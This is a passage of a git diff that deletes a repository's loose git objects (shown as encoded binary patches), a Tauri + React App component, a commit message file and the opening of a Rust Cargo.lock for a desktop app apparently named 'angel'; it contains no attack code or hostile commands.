zijz2b(Tk&iNU%a($Lv_jOw%I@iM%0>g72_mrivcTTxB<8(M|+k*QJ&27^tTCW|Rh^ z00TMFTnoC=)Xr+thmTTM^sLZdMa74Iz=2MyuwXM1SD|hTU1!zAHZWS%H5K4hOX$e7 zAVE6j_N7wVMhDUYXa)?j!F})yoy=rOJ-IN!BruPe9#<=Lq3lPf1U`KtuX#lT0vu%! zCVHf7{K%2036_j$yG+{=P0Z9E=1Uy%7y>$#p`;qR$vM)Q;PtqHCwrr1<~4yl9-b%T zV7y>h0mCAF3~LxrNE34tqDzV4a)KQUN*gO0*k}Rzn`$x5g18lt0iL5MDx_rzGKwPi zyWOY)KqbP6DxKkcHVM1@Q5YjDF+%`a;C6%w9aLTd1}C7&yT}-=%{jFIT0&ohfxc5> zpu5>EU#ZgUfKIv-Tf~3{L7y`LikcnzA$EJ0IC3V{$pmIf2) zN`oc}rAp5^gOZVn))QWb`)UDtHXG4b65s939f~}+kd)9cjS2b=%&kS#H8AyHp2l#X zk+>PjnyUuVFlTeLc7%6AXE)o$T794x6RE8fsxy+{F5<&IbgFow$*rA-t|3xGHIy|Q z1ZZR~rSSCT&EDcoNGT*|z0#D3CRMA*1Mmdy#h3IG%BZIzvq_r;;Ze5nrH4Li1#aCRJ1kN^OY z8Ynt5bzCAy!V`4rA!WJQ>6co9-OLhA*1lP!HELVriGGC?1OssaA{IiU&nvuR6u}yG zC$KPk1+7Gf^tC<#55*)#@Gd#4E&+^K+US=djSzE2S9}yd&5qRt@E7J25w8QaxTjtn ztkr%FvUr0W84}MT-JhPRc^5CxKL3L1C z)MZkB4h5_l1)-qgOx7-I`! z58wd1lva{KQE@HROqGi`r!5020qgc<{(Vze-~Uh7acqAw&Hj9Qvi*JAUitIk?ehaa Smhbdy8N<*1pZ@^Ams0Q55-=qI diff --git a/8d1835f790e84a73bfdbe2feddb1dd14cb34ab b/8d1835f790e84a73bfdbe2feddb1dd14cb34ab deleted file mode 100644 index 4c68431badbf5bc5c42207f3dc757677c7c8c631cc6584917edf0cc4e74584f0..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 515 zcmV+e0{s1W0gY76j@mE~?m15};sg~AEL#p;5maf_Yr8@#^|0E56FXqZ$wancVI$tX zS?JL_Px zo%fd(YHsZhUdTCED%H*j)Z|e^2(@W~C^oO_4 zJAb;rM067>w(4v=P0QR3Ni>=V_mS3whCHwRNF)0psm+6}CVt}Dr|(IK%(`aP-Ndwk zg&&B`;-Awpn?(T&6A}w$E6p!{9LMhA2rY`_x%u4G-Cdb?i*OJ7eNgxN?gIeV=r?{U Fr6cUX`lA2< diff --git a/8dfed112d9d4000f403639c54e965332fb56d4 b/8dfed112d9d4000f403639c54e965332fb56d4 deleted file mode 100644 index 58077fc..0000000 --- a/8dfed112d9d4000f403639c54e965332fb56d4 +++ /dev/null @@ -1 +0,0 @@ -xuOMKÃ@õ¼¿bÈ)Ýí¡·QQPhPÚþdw”…$&ÓBÿ»“&jP{{û>öÍ«jª`¹X^Ħ#Ø`é^™HxÀÉÊÌ¥ûçb®^jœ¯#¶3ãm×Mëÿüð;*{A†Épã5GG#C{FfcPQQP4}zEXhpI%P&f0XcFlY5Ka);xI^-Av0~nf z!yQ@izED*@p3bg*!LAI?=02Le>EbnK?{3X?geL@s#j7`!f^Uv zRQS61t(95cE0zVdF178jWOxfzm6DoVR9R4>S5V0y^>jij)8!*Srp~*=^IAn{f5u+6 z{V-LfNqSku`FRXGUw*jzRd|DHwC&2w<6U?6vc;?YgQ`hS%}XsxEXgkdnPp>}U3&PT X8FRtphfch+H=W&G7Q7Gusq$T28Gvrv diff --git a/8f8a213ce8b31460beb393fa78259c94de4812 b/8f8a213ce8b31460beb393fa78259c94de4812 deleted file mode 100644 index a6d08c23e801b937614022d06777e921b55b8844e5e878cd548a6308b1ceb6d7..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1618 zcmV-Y2Ceyc0lipDlbc2m&Ut^uguU1m9`oRB$vMPv%GboHoDqy9YJs5uNxS~_=^2;- z?ILFryCRoMqTlm%)7`VXO6-syvG9k@&yRJ5&b;eO(QGZ^Vhiym7e(0|w$`7YKRU66 z`XOtItP&01T8*%Net)<5(Q(i(9nS_{pi4O%(WmC2&$E`JH^*UUQ_s6xE^avyUC|x9 zx5#nc-`#Ec^WhF51b&-7E%L23DYU1qQi4V9@ru{H8G4Vn#It7cd=}58_wvkhQP-mB zm1fi5FNC{dZ;Z=mE=&oLBuP9>JxU#raQdfa$R3?*Rfus-m12xN;LT26CzbX9Xbb<1 zxF)#0ICVMS13=tu_~3o`{K3;q2fM{k%+6Acr!n&aW8Na zh`h;m6?b-7{&48TsVUNiU#$0#;7!5zy-YMhG938?@x+P;+^TGN*8SFHMG18=%8ioO z92P}*(gCf05UrL)P{t|-Npx~ii7vf|e8T6QA_;)49G+6_hBT%TrT#m0G!+vP`+d&= zGQ6NE+`t+*r55t!G34jJy7iM7vxL$$w__eg`wO?eal7%Zff$2%HEw{6UVW}{ zBWrQ5!3DnNxL*U;nm4@WZ4D*x7Je_3SQPtC_>DMWmy#fip~%*bum%{o4W0iHGVm9} zF?B_Mb7>_vOG}rsA17mH8Y_J5Wm|cB>7HdieNlxv?iZ!C@HRHOYj4ZyS@A{+>eK9| zw{J!%rjX+sJ!Fm?3NTr;pjRRl(b!Ldo3VcdDX6?PfB%40NTU3?KX_wxX4bIUc(UiK zQDBCNoFv7$O(TkC$0_he5e#!hqv?=&k^pDWhX>c@R&vOTRT zskA!tCp9wwCAU9jg}A`(3a@pCB5Tsv$r( zj#L797ki z$j0SC@|@jHK+tRaOW6Pj&a_t$8tcYoEKCx5*NFV+dC-#tc(|nupxk2B*<)FkUpO2~ zAJn++o2>mx?23JW9XPAj4`=k9x-42z!X~=4_E}|0&v=pmIc+u^Z@{SdjkpQ(?1>i# zzI3NRpQgBRC)21Gn&GL1jq349(k5ibjYtxFM&^df>sIcBYNgk;h0wX|OIXIP5J0f} z%MItcAFb-3NAy=`Nb?$k6L)r)FAWJNY)a|hBCh>cABdIJ}U^!E=R zP4~|8^e@ppXaEqB0@+TSV1qP09=dLkr?C3h+3>!sp|i-l#ZPcCf?jAC#)cG@IX48D zUeas_sgQRFb17I}q>8+TownuPA46GHpQIDhh2`{9M$4h%I)y;;rs${Q^A?BOc>44T z9CeXf^r0$_IK;~VT^Lc<`WfsNrGT&2vj?)nFXvXop|7B1All}n397`ro_jvGcL;Zd!)&aY~luC6oyP@iN?$gS(qd; zON6;WQR3U92$96u+JZPLfe)1@=`V)z zA&@5Nk;RkRM4S~NN24m-S{qy@To+ Q@(cRy8NTlR2By3oo@1FR2LJ#7 diff --git a/91b2a9ac9c4130aac4e36fd96c7c4561640a35 b/91b2a9ac9c4130aac4e36fd96c7c4561640a35 deleted file mode 100644 index 19add7606e565eb7a3559c880159cb7a43c05656502e519699189cd0155c65ae..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 354 zcmV-o0iFJM0c}w|Z^IxE?VMj>Ssg3LioDyGSp0t(j6cG51@*?MtR-nP$Y=>}ca?%n;6g5p0KHNk@QccZ!2O_r@|WDC2SiJa zZ;jCZNbx^Z+xEO|*=&cr{9G8SrhPl(xkr%`)53;ZO(q=ewJ44hdUM(Q0j_beE#M5W Ar2qf` diff --git a/9723dd03ce6fc8d0ecb558dfde9742b726cef8 b/9723dd03ce6fc8d0ecb558dfde9742b726cef8 deleted file mode 100644 index 391cbdd8dacb9974cec276e71507fb6cc841c36292cbdb2e1f2f8d6ad6fbd923..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 322 zcmV-I0lofs0V^p=O;s?qG+;0^FfcPQQAo^7PtDOQ$V+GFj*@4I6D}$jHgKM`asI5i zhZp+%hAK+V$uCaTD=tfC=;-fKw0W^vBw^p?$-gR8=S;chA%v_bJ|n*@wFs=Vxjn$L zFSH{1cCn+);@ynCtE#vyp-NNClPoO~4b9WcjMLJRjT2K%%#BkmQcTkfl8lTE4b1ei z3ep+$8twnYADCbL?9gPnd-5Os)|c9@fa=dptjNsGtb#acnn@ym%*6DD{ht3XS=Jqq zGxHFpmM6S>u=iDt=f(MTg6uN3 z7i}~jNua4iGWADWQ^aq!th9qZmpXoLGYMICR&X6ub$(uIcD`PEW*Wl+&O>J;Pi8Yn U9nYKgsV;uu%BQL20KXZT`Gk+7V*mgE diff --git a/9747ac48c98fe81552afc2710727da20723e5f b/9747ac48c98fe81552afc2710727da20723e5f deleted file mode 100644 index a07b114812152577841215cae3d53b205ddcc0eb9d882f616b91539dd4a260d4..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1437 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 { - if (showSplash) { - const splashTimeout = setTimeout(() => { - setShowSplashState(false); - setShowSplash(false); - }, 5000); - - return () => clearTimeout(splashTimeout); - } - }, [showSplash]); - - if (showSplash) { - return ; - } - - return ( - -
- {AlertComponent} - - } /> - } /> - } /> - } /> - -
-
- ); -} - -function Home({ - triggerAlert, -}: { - triggerAlert: ( - title: string, - description: string, - type?: "default" | "error", - ) => void; -}) { - const nav = useNavigate(); - return ( - <> -

Welcome to Tauri + React

- - - - - - ); -} - -export default App; diff --git a/COMMIT_EDITMSG b/COMMIT_EDITMSG deleted file mode 100644 index d1f344f..0000000 --- a/COMMIT_EDITMSG +++ /dev/null @@ -1 +0,0 @@ -Upload again, fix diff --git a/Cargo.lock b/Cargo.lock deleted file mode 100644 index 997c006..0000000 --- a/Cargo.lock +++ /dev/null @@ -1,4319 +0,0 @@ -# This file is automatically @generated by Cargo. -# It is not intended for manual editing. -version = 3 - -[[package]] -name = "addr2line" -version = "0.24.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1" -dependencies = [ - "gimli", -] - -[[package]] -name = "adler2" -version = "2.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627" - -[[package]] -name = "aho-corasick" -version = "1.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" -dependencies = [ - "memchr", -] - -[[package]] -name = "alloc-no-stdlib" -version = "2.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" - -[[package]] -name = "alloc-stdlib" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" -dependencies = [ - "alloc-no-stdlib", -] - -[[package]] -name = "android-tzdata" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" - -[[package]] -name = "android_system_properties" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" -dependencies = [ - "libc", -] - -[[package]] -name = "angel" -version = "0.1.0" -dependencies = [ - "serde", - "serde_json", - "tauri", - "tauri-build", - "tauri-plugin-shell", -] - -[[package]] -name = "anyhow" -version = "1.0.89" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6" - -[[package]] -name = "atk" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4af014b17dd80e8af9fa689b2d4a211ddba6eb583c1622f35d0cb543f6b17e4" -dependencies = [ - "atk-sys", - "glib", - "libc", -] - -[[package]] -name = "atk-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "251e0b7d90e33e0ba930891a505a9a35ece37b2dd37a14f3ffc306c13b980009" -dependencies = [ - "glib-sys", - "gobject-sys", - "libc", - "system-deps", -] - -[[package]] -name = "autocfg" -version = "1.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" - -[[package]] -name = "backtrace" -version = "0.3.74" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d82cb332cdfaed17ae235a638438ac4d4839913cc2af585c3c6746e8f8bee1a" -dependencies = [ - "addr2line", - "cfg-if", - "libc", - "miniz_oxide", - "object", - "rustc-demangle", - "windows-targets 0.52.6", -] - -[[package]] -name = "base64" -version = "0.21.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" - -[[package]] -name = "base64" -version = "0.22.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" - -[[package]] -name = "bitflags" -version = "1.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" - -[[package]] -name = "bitflags" -version = "2.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" -dependencies = [ - "serde", -] - -[[package]] -name = "block" -version = "0.1.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" - -[[package]] -name = "block-buffer" -version = "0.10.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" -dependencies = [ - "generic-array", -] - -[[package]] -name = "block2" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c132eebf10f5cad5289222520a4a058514204aed6d791f1cf4fe8088b82d15f" -dependencies = [ - "objc2", -] - -[[package]] -name = "brotli" -version = "6.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74f7971dbd9326d58187408ab83117d8ac1bb9c17b085fdacd1cf2f598719b6b" -dependencies = [ - "alloc-no-stdlib", - "alloc-stdlib", - "brotli-decompressor", -] - -[[package]] -name = "brotli-decompressor" -version = "4.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a45bd2e4095a8b518033b128020dd4a55aab1c0a381ba4404a472630f4bc362" -dependencies = [ - "alloc-no-stdlib", - "alloc-stdlib", -] - -[[package]] -name = "bumpalo" -version = "3.16.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c" - -[[package]] -name = "bytemuck" -version = "1.19.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8334215b81e418a0a7bdb8ef0849474f40bb10c8b71f1c4ed315cff49f32494d" - -[[package]] -name = "byteorder" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" - -[[package]] -name = "bytes" -version = "1.7.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "428d9aa8fbc0670b7b8d6030a7fadd0f86151cae55e4dbbece15f3780a3dfaf3" -dependencies = [ - "serde", -] - -[[package]] -name = "cairo-rs" -version = "0.18.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ca26ef0159422fb77631dc9d17b102f253b876fe1586b03b803e63a309b4ee2" -dependencies = [ - "bitflags 2.6.0", - "cairo-sys-rs", - "glib", - "libc", - "once_cell", - "thiserror", -] - -[[package]] -name = "cairo-sys-rs" -version = "0.18.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51" -dependencies = [ - "glib-sys", - "libc", - "system-deps", -] - -[[package]] -name = "camino" -version = "1.1.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3" -dependencies = [ - "serde", -] - -[[package]] -name = "cargo-platform" -version = "0.1.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc" -dependencies = [ - "serde", -] - -[[package]] -name = "cargo_metadata" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037" -dependencies = [ - "camino", - "cargo-platform", - "semver", - "serde", - "serde_json", - "thiserror", -] - -[[package]] -name = "cargo_toml" -version = "0.17.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a969e13a7589e9e3e4207e153bae624ade2b5622fb4684a4923b23ec3d57719" -dependencies = [ - "serde", - "toml 0.8.2", -] - -[[package]] -name = "cc" -version = "1.1.30" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b16803a61b81d9eabb7eae2588776c4c1e584b738ede45fdbb4c972cec1e9945" -dependencies = [ - "shlex", -] - -[[package]] -name = "cesu8" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" - -[[package]] -name = "cfb" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f" -dependencies = [ - "byteorder", - "fnv", - "uuid", -] - -[[package]] -name = "cfg-expr" -version = "0.15.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02" -dependencies = [ - "smallvec", - "target-lexicon", -] - -[[package]] -name = "cfg-if" -version = "1.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" - -[[package]] -name = "cfg_aliases" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" - -[[package]] -name = "chrono" -version = "0.4.38" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401" -dependencies = [ - "android-tzdata", - "iana-time-zone", - "num-traits", - "serde", - "windows-targets 0.52.6", -] - -[[package]] -name = "cocoa" -version = "0.26.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f79398230a6e2c08f5c9760610eb6924b52aa9e7950a619602baba59dcbbdbb2" -dependencies = [ - "bitflags 2.6.0", - "block", - "cocoa-foundation", - "core-foundation", - "core-graphics", - "foreign-types", - "libc", - "objc", -] - -[[package]] -name = "cocoa-foundation" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e14045fb83be07b5acf1c0884b2180461635b433455fa35d1cd6f17f1450679d" -dependencies = [ - "bitflags 2.6.0", - "block", - "core-foundation", - "core-graphics-types", - "libc", - "objc", -] - -[[package]] -name = "combine" -version = "4.6.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd" -dependencies = [ - "bytes", - "memchr", -] - -[[package]] -name = "convert_case" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" - -[[package]] -name = "core-foundation" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b55271e5c8c478ad3f38ad24ef34923091e0548492a266d19b3c0b4d82574c63" -dependencies = [ - "core-foundation-sys", - "libc", -] - -[[package]] -name = "core-foundation-sys" -version = "0.8.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" - -[[package]] -name = "core-graphics" -version = "0.24.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa95a34622365fa5bbf40b20b75dba8dfa8c94c734aea8ac9a5ca38af14316f1" -dependencies = [ - "bitflags 2.6.0", - "core-foundation", - "core-graphics-types", - "foreign-types", - "libc", -] - -[[package]] -name = "core-graphics-types" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb" -dependencies = [ - "bitflags 2.6.0", - "core-foundation", - "libc", -] - -[[package]] -name = "cpufeatures" -version = "0.2.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" -dependencies = [ - "libc", -] - -[[package]] -name = "crc32fast" -version = "1.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3" -dependencies = [ - "cfg-if", -] - -[[package]] -name = "crossbeam-channel" -version = "0.5.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "33480d6946193aa8033910124896ca395333cae7e2d1113d1fef6c3272217df2" -dependencies = [ - "crossbeam-utils", -] - -[[package]] -name = "crossbeam-utils" -version = "0.8.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" - -[[package]] -name = "crypto-common" -version = "0.1.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" -dependencies = [ - "generic-array", - "typenum", -] - -[[package]] -name = "cssparser" -version = "0.27.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a" -dependencies = [ - "cssparser-macros", - "dtoa-short", - "itoa 0.4.8", - "matches", - "phf 0.8.0", - "proc-macro2", - "quote", - "smallvec", - "syn 1.0.109", -] - -[[package]] -name = "cssparser-macros" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" -dependencies = [ - "quote", - "syn 2.0.79", -] - -[[package]] -name = "ctor" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "edb49164822f3ee45b17acd4a208cfc1251410cf0cad9a833234c9890774dd9f" -dependencies = [ - "quote", - "syn 2.0.79", -] - -[[package]] -name = "darling" -version = "0.20.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f63b86c8a8826a49b8c21f08a2d07338eec8d900540f8630dc76284be802989" -dependencies = [ - "darling_core", - "darling_macro", -] - -[[package]] -name = "darling_core" -version = "0.20.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95133861a8032aaea082871032f5815eb9e98cef03fa916ab4500513994df9e5" -dependencies = [ - "fnv", - "ident_case", - "proc-macro2", - "quote", - "strsim", - "syn 2.0.79", -] - -[[package]] -name = "darling_macro" -version = "0.20.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d336a2a514f6ccccaa3e09b02d41d35330c07ddf03a62165fcec10bb561c7806" -dependencies = [ - "darling_core", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "deranged" -version = "0.3.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" -dependencies = [ - "powerfmt", - "serde", -] - -[[package]] -name = "derive_more" -version = "0.99.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f33878137e4dafd7fa914ad4e259e18a4e8e532b9617a2d0150262bf53abfce" -dependencies = [ - "convert_case", - "proc-macro2", - "quote", - "rustc_version", - "syn 2.0.79", -] - -[[package]] -name = "digest" -version = "0.10.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" -dependencies = [ - "block-buffer", - "crypto-common", -] - -[[package]] -name = "dirs" -version = "5.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" -dependencies = [ - "dirs-sys", -] - -[[package]] -name = "dirs-sys" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" -dependencies = [ - "libc", - "option-ext", - "redox_users", - "windows-sys 0.48.0", -] - -[[package]] -name = "dispatch" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 